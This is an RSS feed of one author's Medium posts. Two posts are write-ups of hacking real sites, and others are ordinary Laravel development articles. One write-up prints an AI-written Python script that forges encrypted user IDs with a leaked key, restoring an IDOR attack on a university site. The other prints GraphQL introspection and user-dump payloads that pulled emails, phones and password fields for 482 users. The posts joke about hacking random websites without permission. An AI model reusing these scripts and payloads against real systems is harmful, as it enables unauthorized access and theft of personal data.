<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by JC on Medium]]></title>
        <description><![CDATA[Stories by JC on Medium]]></description>
        <link>https://medium.com/@christmex?source=rss-fd8540e08e1e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*VKVSGOYOcs74BRkaq5qjLQ.jpeg</url>
            <title>Stories by JC on Medium</title>
            <link>https://medium.com/@christmex?source=rss-fd8540e08e1e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 15:29:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@christmex/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Story of How I Hacked an International University in Indonesia AGAIN ]]></title>
            <link>https://osintteam.blog/the-story-of-how-i-hacked-an-international-university-in-indonesia-again-57b4fef9fbd8?source=rss-fd8540e08e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/57b4fef9fbd8</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[JC]]></dc:creator>
            <pubDate>Mon, 14 Sep 2026 05:35:50 GMT</pubDate>
            <atom:updated>2026-09-25T07:49:25.615Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jyMA5HRrJXe7JSyx" /><figcaption>Photo by <a href="https://unsplash.com/@maxwbender?utm_source=medium&amp;utm_medium=referral">Max Bender</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Zup folks, it’s me.</p><p>So, around 4:33 PM, I was just chilling and waiting for Claude to finish up a task. Since I had nothing to do 😙, I randomly decided to revisit a website that I hacked a while ago the one I already wrote a write-up about [<a href="https://infosecwriteups.com/the-story-of-how-i-hacked-an-international-university-in-indonesia-ec819a8c8fc0">https://infosecwriteups.com/the-story-of-how-i-hacked-an-international-university-in-indonesia-ec819a8c8fc0</a>].</p><p>When I checked it again, it turned out they had already patched the IDOR bug. Okay, interesting. I wanted to see how far they actually went to fix it.</p><p>As usual, I opened up Temp-Mail and registered two accounts to compare them. After successfully creating both, I noticed that sensitive data like NIK (National ID Number) is still saved directly in the database as is, without any unique validation. I tried registering the exact same NIK on both accounts, and the system accepted it without a single complaint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*_7GwQN6D2Q01dPAM1kdZ2Q.png" /></figure><p>Another bug I found right away is that the account confirmation token had no expiration date validation at all.</p><p>Moving on, after logging into one of my newly created accounts, I opened the network panel to analyze all the incoming and outgoing requests. The website is built using Next.js, and as we all know, if requests happen on the client-side without proper protection, we can easily peek at what’s going on inside 😙.</p><p>During my inspection, I noticed a specific request used to fetch the profile information of the currently logged-in user. However, the endpoint format had changed since my last write-up.</p><pre>// before (plain id)<br>https://redacted.ac.id/api/user/profil/[1/2/3]<br><br>// after (chipertext)<br>https://redacted.ac.id/api/user/profil/[chipertext]</pre><p>Seeing the ciphertext in the URL made me think, <em>“Ah fuck, looks like I can’t mess with it anymore 🥲.”</em> It actually looked pretty decent since it wasn’t an ordered sequential ID anymore. But after doing some quick research, I realized the ciphertext format strongly resembled <strong>OpenSSL Password-Based Encryption</strong>.</p><p>I dug deeper into how OpenSSL Password-Based Encryption works and learned that to generate or crack it, you absolutely need the secret key. So, I asked an AI to whip up a simple Python script to generate the ciphertext.</p><p>Armed with my two test accounts, I tried extracting data from both to find a pattern. Based on experience, I guessed that the raw user ID was the data being converted into the ciphertext. However, without the secret key, I couldn’t do a mirror generation to verify this.</p><p>The next step was to perform a deep dive analysis of all the network logs on the website, hoping that luck was still on my side. And then, in one of the requests, I found a needle in a haystack 🤩.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9wZFEC0t6lhRdyNiVvdWFQ.png" /></figure><p>Yep, there it was, the secret key 😈. Time to cook fellas.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FVVbT9ZnmAZlsVOybLb%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fcook-let-him-VVbT9ZnmAZlsVOybLb&amp;image=https%3A%2F%2Fmedia1.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExeWZrY2J3NDRvaHRyYXdmbW9paWV6MHg2NDJob29vdjZmaGFlamJqYyZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FVVbT9ZnmAZlsVOybLb%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="431" frameborder="0" scrolling="no"><a href="https://medium.com/media/eb11d41ad0216c6deb1043e6175fab58/href">https://medium.com/media/eb11d41ad0216c6deb1043e6175fab58/href</a></iframe><p>I also noticed in one of the requests that we could fetch user information using a curl command like this:</p><pre>curl --url &#39;https://redacted.ac.id/api/user/profil/[chiperteks]&#39; \<br>  -H &#39;accept: application/json, text/plain, */*&#39; \<br>  -H &#39;accept-language: en-US,en;q=0.9&#39; \<br>  -H &#39;authorization: redacted&#39; \<br>//.....</pre><p>Based on that, I asked AI to write a Python script to handle the ciphertext generation. Since I had two accounts, I used their respective ciphertexts for simulation to see if my locally generated hashes matched the target system’s output.</p><pre>import base64<br>import subprocess<br><br>KEY = &quot;redacted_secret_key&quot;<br><br>def _openssl(raw_bytes, encrypt):<br>    args = [&quot;openssl&quot;, &quot;enc&quot;, &quot;-aes-256-cbc&quot;, &quot;-md&quot;, &quot;md5&quot;, &quot;-k&quot;, KEY]<br>    args.append(&quot;-e&quot; if encrypt else &quot;-d&quot;)<br>    result = subprocess.run(args, input=raw_bytes, capture_output=True)<br>    if result.returncode != 0:<br>        raise ValueError(result.stderr.decode(errors=&quot;replace&quot;).strip())<br>    return result.stdout<br><br><br>def to_url_safe(standard_b64):<br>    return standard_b64.replace(&#39;+&#39;, &#39;-&#39;).replace(&#39;/&#39;, &#39;_&#39;).rstrip(&#39;=&#39;)<br><br><br>def from_url_safe(token):<br>    standard = token.replace(&#39;-&#39;, &#39;+&#39;).replace(&#39;_&#39;, &#39;/&#39;)<br>    return standard + &#39;=&#39; * (-len(standard) % 4)<br><br><br>def encrypt_id(target_id):<br>    raw_output = _openssl(str(target_id).encode(&#39;utf-8&#39;), encrypt=True)<br>    return to_url_safe(base64.b64encode(raw_output).decode(&#39;ascii&#39;))<br><br><br>def decrypt_id(token):<br>    raw_data = base64.b64decode(from_url_safe(token))<br>    if raw_data[:8] != b&quot;Salted__&quot;:<br>        return &quot;!OpenSSL!&quot;<br>    try:<br>        return _openssl(raw_data, encrypt=False).decode(&#39;utf-8&#39;, errors=&#39;replace&#39;)<br>    except ValueError as error:<br>        return f&quot;fail: {error}&quot;<br><br><br>if __name__ == &quot;__main__&quot;:<br>    print(&quot;--- 1. Verif ---&quot;)<br>    for token in (<br>        &quot;first_account_chiperteks&quot;,<br>        &quot;second_account_chiperteks&quot;,<br>    ):<br>        print(f&quot;  {token} -&gt; id {decrypt_id(token)}&quot;)<br><br>    print(&quot;\n--- 2. FORGE ID TARGET ---&quot;)<br>    for target_id in (1, 2, 3, 100, 210, 211, 212, 213):<br>        token = encrypt_id(target_id)<br>        print(f&quot;  id {target_id:&gt;4} -&gt; /api/user/profil/{token}&quot;)<br><br>    print(&quot;\n  Round-trip check:&quot;,<br>          decrypt_id(encrypt_id(1)))</pre><p>After running the script, the results were exactly what I hoped for. The secret key I found was 100% valid and could successfully encrypt and decrypt user IDs. With this, I was back in business, able to pull off the exact same IDOR exploitation scenario from my very first write-up.</p><p><strong>What can we learn from this story?</strong></p><ol><li>Always keep your network panel open 😙</li></ol><p>2. Use Claude or any AI assistant when you’re working, so when you get bored, you can find bugs on someone’s website instead 😏.</p><p>3. When building a system, actually understand best practices and how your tech stack handles data security under the hood.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=57b4fef9fbd8" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/the-story-of-how-i-hacked-an-international-university-in-indonesia-again-57b4fef9fbd8">The Story of How I Hacked an International University in Indonesia AGAIN 🤫</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Handle the Super-admin Role in My Laravel Project]]></title>
            <link>https://christmex.medium.com/how-i-handle-the-super-admin-role-in-my-laravel-project-9f5990452cee?source=rss-fd8540e08e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/9f5990452cee</guid>
            <category><![CDATA[laravel-tips-and-tricks]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[laravel]]></category>
            <dc:creator><![CDATA[JC]]></dc:creator>
            <pubDate>Sun, 16 Aug 2026 09:45:59 GMT</pubDate>
            <atom:updated>2026-08-16T09:45:59.347Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SwDHox30jbZ5H2ZU" /><figcaption>Photo by <a href="https://unsplash.com/@afgprogrammer?utm_source=medium&amp;utm_medium=referral">Mohammad Rahmani</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Almost every project I work on needs roles and permissions. And almost always, there’s one special role: superadmin. This role is usually assigned to a single user at the start of a project setup, acting as the “master key”, able to access every feature without exception.</p><p>The question is: what’s the best way to handle this role in the codebase?</p><h3>The Common Approach (Which I Used to Do Too)</h3><p>The most common approach I’ve encountered, and used to do myself is:</p><ol><li>Hardcode the string &quot;superadmin&quot; or &quot;super-admin&quot; in the codebase</li><li>Check the user’s role by comparing that string, e.g. $user-&gt;hasRole(&#39;superadmin&#39;)</li><li>On the UI side, build a CRUD for roles, then create a role whose name must match exactly the string hardcoded in the codebase</li></ol><p>This approach works, and honestly there’s nothing functionally wrong with it. But a few scenarios always bothered me:</p><ul><li>What if that role gets accidentally deleted through the UI?</li><li>What if a role with that name was never created in the first place?</li><li>What if there’s a typo when creating the role, e.g. &quot;super-admin&quot; vs &quot;superadmin&quot;?</li></ul><p>It might sound like overthinking, since in practice these things rarely happen. But the root issue isn’t about “how often it happens” the issue, in my view, is that the source of truth for superadmin status lives in the wrong place.</p><h3>The Root Issue: Who Do We Trust as the Source of Truth?</h3><p>A role name string is data that can be typed, changed, and deleted through the UI meaning it’s entirely in the user’s hands. Once we put critical logic (who gets access to everything) on top of data that can be tampered with through the UI, that just doesn’t sit right with me.</p><p>Compare that to a database column that isn’t exposed to the UI at all. That column can only be changed through a migration, a seeder, or directly from code not from a role CRUD screen that anyone can click into.</p><p>From there I arrived at a simple principle:</p><blockquote><strong><em>What lives in the database can be “hardcoded” logically. What the user types cannot.</em></strong></blockquote><h3>The Solution: an is_superadmin Column</h3><p>Instead of relying on a role name, I add a single boolean column directly on the users table:</p><pre>Schema::table(&#39;users&#39;, function (Blueprint $table) {<br>    $table-&gt;boolean(&#39;is_superadmin&#39;)-&gt;default(false)-&gt;after(&#39;email&#39;);<br>});</pre><p>This column is intentionally not exposed on the user edit form in the UI (though it could be exposed as a feature if needed). The only way to change its value is through a seeder or tinker something only a developer can do, not an end user.</p><p>Then on the User model, I add a simple accessor:</p><pre>class User extends Authenticatable<br>{<br>    public function isSuperAdmin(): bool<br>    {<br>        return $this-&gt;is_superadmin === true;<br>    }<br>}</pre><p>And checks in the codebase become much more reliable:</p><pre>// AppServiceProvider<br>if ($user-&gt;isSuperAdmin()) {<br>    // bypass all permission checks<br>}</pre><p>No more dependency on a string that could be mistyped, a role that could be deleted, or a role that was never created. The status is absolute, because it’s fully controlled from the developer’s side.</p><h3>Conclusion</h3><p>For something as critical as superadmin, I’d rather trust data that can only be controlled from code, not data that can be manipulated through the UI.</p><p>The principle is simple: anything a user can manipulate (add, change, delete) shouldn’t be hardcoded into the codebase.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9f5990452cee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cruddy by design — Adam Wathan]]></title>
            <link>https://christmex.medium.com/cruddy-by-design-adam-wathan-535d1ab2bc45?source=rss-fd8540e08e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/535d1ab2bc45</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[restful-api]]></category>
            <category><![CDATA[laravel]]></category>
            <category><![CDATA[software-architecture]]></category>
            <dc:creator><![CDATA[JC]]></dc:creator>
            <pubDate>Tue, 06 Jan 2026 03:37:48 GMT</pubDate>
            <atom:updated>2026-01-06T03:37:48.931Z</atom:updated>
            <content:encoded><![CDATA[<h3>Cruddy by design — Adam Wathan</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ffwn95Mm2kiH1qMM" /><figcaption>Photo by <a href="https://unsplash.com/@afgprogrammer?utm_source=medium&amp;utm_medium=referral">Mohammad Rahmani</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><blockquote><em>With a little imagination, everything is CRUD.</em></blockquote><p>Instead of creating complex architectures and custom actions everywhere, Adam encourages developers to design applications that are <em>CRUD by nature</em> — clear, predictable, and easy to maintain.</p><h3>1. A Controller Should Only Have 7 Actions</h3><p>A properly designed controller only needs the classic seven RESTful methods:</p><blockquote><em>index, show, create, store, edit, update, destroy</em></blockquote><p>Each controller represents a <strong>single resource</strong>, and each method represents <strong>a single operation on that resource</strong>. If you ever feel the need to add methods like publish(), approve(), or archive(), that’s a sign you should create a <strong>new controller</strong> instead of adding custom methods.</p><h3>2. Never Write Custom Actions Inside Controllers</h3><p>❌ <strong>Bad Example</strong></p><pre>class PodcastController extends Controller<br>{<br>    public function publish(Podcast $podcast)<br>    {<br>        $podcast-&gt;publish();<br>    }<br>}</pre><p>✅ <strong>Good Example</strong></p><pre>class PublishedController extends Controller<br>{<br>    public function store(Podcast $podcast)<br>    {<br>        $podcast-&gt;publish();<br>    }<br><br>    public function destroy(Podcast $podcast)<br>    {<br>        $podcast-&gt;unpublish();<br>    }<br>}</pre><p>Here, “Published” becomes its own resource, and store() / destroy() represent <strong>publishing</strong> and <strong>unpublishing</strong> actions. Everything still follows the CRUD principle.</p><h3>3. If It’s Not About the Main Resource, Create a New Controller</h3><p>For example, if you’re updating an image, don’t add a updateImage() method inside PodcastController. Instead, create a new controller dedicated to that resource:</p><pre>class ImageController extends Controller<br>{<br>    public function update(Request $request)<br>    {<br>        // logic to update image<br>    }<br>}</pre><p>This keeps each controller focused on one domain of responsibility and makes your code easier to maintain and test.</p><h3>4. Pivot Tables Are Resources Too</h3><p>When a pivot table represents meaningful data, treat it as a first-class resource.</p><p>Example: a subscriptions table linking user_id and podcast_id.</p><p>➡ Create:</p><ul><li>a Subscription model, and</li><li>a SubscriptionController with store() and destroy() actions.</li></ul><p>So your API becomes:</p><pre>POST   /subscriptions        → subscribe<br>DELETE /subscriptions/{id}   → unsubscribe</pre><p>That’s pure CRUD — <strong>subscribe = create</strong>, <strong>unsubscribe = delete</strong>.</p><h3>5. Transition States = Separate Resources</h3><p>If you have columns like is_published, is_approved, or is_archived, those represent <em>state transitions</em>. They deserve their own controllers as well.</p><p>Example:</p><pre>POST   /published        → publish<br>DELETE /published/{id}   → unpublish</pre><p>By thinking this way, everything stays CRUD:</p><ul><li>store() → move to “published” state</li><li>destroy() → revert the state</li></ul><h3>6. The “Everything is CRUD” Mindset</h3><p>With a bit of imagination, <strong>every operation</strong> in your system can be expressed as <em>create, read, update, or delete</em>.</p><p>That simplicity brings:</p><ul><li>Consistent route naming</li><li>Smaller, predictable controllers</li><li>Easier onboarding for new developers</li><li>RESTful structure that scales naturally</li></ul><p>This philosophy perfectly aligns with Laravel’s own design — and even Filament’s resource system.</p><h3>7. The Connection to Laravel Actions</h3><p>This “Cruddy by Design” idea closely mirrors the <strong>Laravel Action pattern</strong>.</p><p>Each Action class represents a single, isolated piece of logic. Controllers become <em>orchestrators</em>, not <em>logic containers</em>. They simply delegate work to action or service classes.</p><pre>public function store(Request $request)<br>{<br>    CreatePodcast::run($request-&gt;validated());<br>}</pre><p>Clean, testable, and easy to extend later.</p><h3>🧠 Key Mindset Shift</h3><blockquote><em>CRUD is not “too simple” — it’s the right level of simplicity.</em></blockquote><p>Frameworks like Laravel were built on this principle. Instead of fighting it with unnecessary abstractions, embrace it.</p><ul><li>Treat everything as a resource.</li><li>Keep controllers thin.</li><li>Extract reusable logic into actions or services.</li><li>Let RESTful conventions do most of the design work for you.</li></ul><h3>🔥 TL;DR Summary</h3><ol><li><strong>Only 7 methods per controller</strong><br>Keeps RESTful consistency</li><li><strong>One resource = one controller</strong><br>Publish/unpublish, approve/unapprove, etc.</li><li><strong>Pivot tables = first-class resources</strong><br>Subscribe/unsubscribe logic becomes CRUD</li><li><strong>Controller = orchestration layer</strong><br>Business logic belongs in actions/services</li><li><strong>Everything is CRUD</strong><br>With imagination, all behavior fits CRUD</li></ol><h3>💬 Final Takeaway</h3><blockquote><em>Cruddy by Design isn’t about making your app boring — it’s about making your code </em><strong><em>clear, predictable, and scalable</em></strong><em>.</em></blockquote><p>Once you start thinking of every action as part of a CRUD cycle, your architecture becomes simpler, your routes cleaner, and your Laravel app far easier to reason about and maintain.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FMF0jFKvS4SI%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DMF0jFKvS4SI&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FMF0jFKvS4SI%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/7ccd7ce495fd4e6d9f601aa713853855/href">https://medium.com/media/7ccd7ce495fd4e6d9f601aa713853855/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=535d1ab2bc45" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Spaghetti to Clean Code: A 2-Year Legacy Refactor Journey]]></title>
            <link>https://christmex.medium.com/from-spaghetti-to-clean-code-a-2-year-legacy-refactor-journey-315754892f10?source=rss-fd8540e08e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/315754892f10</guid>
            <category><![CDATA[laravel]]></category>
            <category><![CDATA[filamentphp]]></category>
            <category><![CDATA[testing]]></category>
            <category><![CDATA[livewire]]></category>
            <category><![CDATA[clean-code]]></category>
            <dc:creator><![CDATA[JC]]></dc:creator>
            <pubDate>Sat, 13 Dec 2025 14:34:12 GMT</pubDate>
            <atom:updated>2026-02-02T09:18:59.608Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yBPiqjp6sGPshdQJ" /><figcaption>Photo by <a href="https://unsplash.com/@afgprogrammer?utm_source=medium&amp;utm_medium=referral">Mohammad Rahmani</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Background</h3><p>Two years ago, I built a school management application using Laravel and Filament. Back then, I was focused on getting features working rather than code quality. The result? A fully functional but messy codebase, lots of code duplication, inefficient queries, poor separation of concerns, and outdated practices.</p><p>For the past 2 years, the app has been running in production, managing student data, attendance, grades, and financial records. It works, but every time I open the code, I cringe. I knew something had to change.</p><p>Recently, I decided to stop avoiding it and face the challenge head-on. Instead of building new features, I committed to modernizing the entire stack and refactoring the codebase to enterprise standards.</p><p><strong>The plan:</strong></p><ol><li>Upgrade all dependencies to latest versions (Laravel 12, Filament 4, Livewire 3, Tailwind 4)</li><li>Install code quality tools (phpstan, Pint, Laravel Boost, laravel IDE Helper)</li><li>Fix all phpstan errors from level 1 to 5</li><li>Refactor critical modules with clean code principles</li><li>Add comprehensive tests</li></ol><p>This documentation captures my entire journey, the mistakes I made, what I learned, and how I transformed legacy code into production-ready, maintainable code.</p><h3><strong>Day 1</strong></h3><p>I wanted to share my Day 1 progress. I found 58 phpstan errors at level 1.<br>Here are the mistakes I made 2 years ago:</p><pre># Query efficiency<br><br>Student::get()-&gt;pluck(&#39;name&#39;,&#39;id&#39;) // Bad 😈<br>Student::pluck(&#39;name&#39;,&#39;id&#39;) // Good 👍<br><br>// The first loads all students into memory, then filters in PHP. <br>// The second queries only the needed columns directly from the database.<br><br><br># Date Logic<br>date(Carbon::now()-&gt;month) == 12 ? 1 : date(Carbon::now()-&gt;month) + 1 // Bad 😈<br>now()-&gt;addMonth()-&gt;month // Good 👍<br><br>// Now I understand I should just use `now()-&gt;addMonth()-&gt;month`<br>// it&#39;s cleaner and Carbon handles the year overflow automatically.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*EEwLgS_am-tRBoIM" /></figure><h3>Day 2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*naI8dXu_fBlAunzO4KCJjQ.png" /></figure><pre>#1 – Typed relationships and PHPStan<br>// Student.php<br>public function studentBookBill(): HasMany<br>{<br>    return $this-&gt;hasMany(StudentBookBill::class);<br>}<br><br>// -&gt; will still work at runtime, but PHPStan treats it as Model|Collection <br>// and may complain when we access properties on the result.<br>$student-&gt;studentBookBill<br><br>// When we add a generic return type:<br><br>/**<br>* @return HasMany&lt;StudentBookBill, Student&gt;<br>*/<br>public function studentBookBill(): HasMany<br>{<br>  return $this-&gt;hasMany(StudentBookBill::class);<br>}<br><br>// returns a collection of StudentBookBill, <br>// so property access is correctly typed and PHPStan stops complaining.<br>// This does not change the runtime return value.<br>// It only improves static analysis, not behavior.<br><br>#2 – HasOne vs explicit query for readability<br>// Student.php<br>public function paymentDetails(): HasMany<br>{<br>    return $this-&gt;hasMany(StudentPaymentDetail::class);<br>}<br><br>/**<br> * @return HasOne&lt;StudentPaymentDetail, Student&gt;<br> */<br>public function paymentDetail(): HasOne<br>{<br>    return $this-&gt;paymentDetails()<br>        -&gt;one()<br>        -&gt;where(&#39;active&#39;, true);<br>}<br><br>// Now we can write:<br>$student-&gt;paymentDetail;<br><br>// However, I personally prefer the explicit and more readable approach:<br>// because it makes the filtering logic more obvious.<br>// inside StudentPaymentDetail.php<br>#[Scope]<br>protected function active(Builder $query): void<br>{<br>    $query-&gt;where(&#39;active&#39;, true);<br>}<br><br>// then we can call it:<br>$student-&gt;paymentDetails()<br>    -&gt;active()<br>    -&gt;first();<br></pre><h3>Day 3</h3><p>Today I hit PHPStan Level 5 and got slapped by 52 new errors. 😅</p><p>The biggest lesson: I was wrong on Day 1. Using <em>-&gt;get()</em> before <em>pluck()</em> isn’t always bad.</p><p>Why? Eloquent Accessors.</p><p>If you have a database column cost and a virtual accessor cost_format:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8P-yWZ9vE0WHp08Rob1v5Q.png" /></figure><p>Rule of thumb:<br>- Raw columns? pluck() directly (Faster).<br>- Accessors/Logic? get()-&gt;pluck() (Necessary).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=315754892f10" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Story of How I Hacked an Event Management Platform]]></title>
            <link>https://osintteam.blog/the-story-of-how-i-hacked-an-event-management-platform-5a719250042c?source=rss-fd8540e08e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a719250042c</guid>
            <category><![CDATA[graphql]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[JC]]></dc:creator>
            <pubDate>Thu, 04 Dec 2025 02:26:06 GMT</pubDate>
            <atom:updated>2025-12-04T02:26:06.296Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HZtHeIKswF5Ak1EB" /><figcaption>Photo by <a href="https://unsplash.com/@sebastiaanstam?utm_source=medium&amp;utm_medium=referral">sebastiaan stam</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>It all started when I saw a friend’s Instagram post about an upcoming event. The event wasn’t even announced yet, no details, no info, just a <br><strong>“Join the early list”</strong> form so they could notify people later. Basically, the whole thing hadn’t been released to the public.</p><p>I signed up like a normal dude but, as usual, I can’t resist checking the network traffic of any website I touch. Curiosity beats everything. Lucky me, I found an exposed GraphQL endpoint just sitting there, wide open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F699DNP_0dSXObY2VZenOQ.png" /></figure><p>At that point, you know what comes next 👻 <strong>time to cook</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/0*kjpVO994T7cRUo7G.gif" /></figure><p>I opened Postman and started preparing the “<em>ingredients</em>” for a proper penetration attempt. I crafted a payload, something along these lines:</p><pre>// i know this is ugly but it works 🥱<br>{<br>    &quot;query&quot;: &quot;{\n  __schema {\n    queryType {\n      fields {\n        name\n        description\n        args {\n          name\n          type {\n            name\n            kind\n          }\n        }\n      }\n    }\n  }\n}&quot;<br>}</pre><p>Oh, by the way, I’ve written a similar story before in my post <strong>“</strong><a href="https://infosecwriteups.com/the-story-of-how-i-finally-got-my-first-money-from-hacking-c0bd4b3b2b80"><strong>The Story of How I Got My First Money</strong></a><strong>”</strong>. If you’re into this kind of chaos, give it a read.</p><p>Anyway, back to the hack…</p><p>After grabbing the schema, I wasn’t done yet. The first payload I used basically dumped all available <strong>queries</strong> in the GraphQL endpoint. And yeah, it worked. I got a list of <strong>113 query methods</strong> just sitting there like a buffet.</p><p>But why stop there? Of course I went after the <strong>mutations</strong> too. Here’s the payload I fired to enumerate all mutation fields:</p><pre>{<br>  &quot;query&quot;: &quot;{\n  __schema {\n    mutationType {\n      fields {\n        name\n        description\n        args {\n          name\n          type {\n            name\n            kind\n          }\n        }\n      }\n    }\n  }\n}&quot;<br>}</pre><p>And for the <strong>types</strong>, I used this one:</p><pre>{<br>  &quot;query&quot;: &quot;{\n  __schema {\n    types {\n      name\n      kind\n      description\n      fields {\n        name\n        type {\n          name\n          kind\n        }\n      }\n    }\n  }\n}&quot;<br>}</pre><p>Once I had enough information, <strong>queries</strong>, <strong>mutations</strong>, <strong>types</strong>, and <strong>arguments</strong>, it was time to actually use them. That’s the fun part. And like always, the first thing I tried was <strong>pulling user data 😈 </strong>Of course. So I cooked up this payload:</p><pre>{<br>  &quot;operationName&quot;: &quot;listUsers&quot;,<br>  &quot;variables&quot;: {<br>    &quot;listUsersInput&quot;: {<br>      &quot;limit&quot;: 482 // I already tested it, so I know the total was 482.<br>    }<br>  },<br>  &quot;query&quot;: &quot;query listUsers($listUsersInput: ListUsersInput!) {\n  listUsers(listUsersInput: $listUsersInput) {\n    page\n    limit\n    total\n    totalPage\n    totalAll\n    hasNextPage\n    data {\n      _id\n      email\n      username\n      full_name\n      picture\n      phone_number\n      roles\n      city\n      province\n      is_active\n      is_coreteam\n      job_title\n      profession\n      institution\n      bio\n      website\n      github\n      linkedin\n      password\n    }\n  }\n}&quot;<br>}</pre><p>And boom, the endpoint happily served me around <strong>482 user records</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ygOQdMiGBO3j7kBgPUb7Q.png" /></figure><p>After all of that, I decided to stop there hehe. Thanks for sticking with the story this far.</p><p>For the record, I also tested user registration, login, and updating the test user I created, all of them worked perfectly. The only thing I couldn’t change was the password field. At that point it was already 3 AM, my brain was melting, and I wasn’t in the mood to go down more.</p><p>So instead of pushing further, I reached out to the owner and reported everything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qsltyxoYt4icpMQ4WPWA6g.png" /></figure><p>Surprisingly, the response was great. We ended up having a long chat, and it turns out he runs a bootcamp and training program for developers too. <br>I wasn’t expecting a job offer at 3 in the morning, but hey, life is weird 🥸.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3KXRL5SLHdy2y8Iu7xBR8A.png" /></figure><p>Well, that’s all folks 🫶🏻</p><p>What can we learn from this story?</p><ol><li>Stay up until 3 AM and hack random websites 😏.</li><li>Curiosity beats everything.</li><li>Have fun.</li></ol><p><strong>Timeline<br>11PM — 12AM</strong> — exploring the system<br><strong>12AM — 2AM</strong> — writing the report, talking with the owner</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a719250042c" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/the-story-of-how-i-hacked-an-event-management-platform-5a719250042c">The Story of How I Hacked an Event Management Platform</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Freedom Is a Curse]]></title>
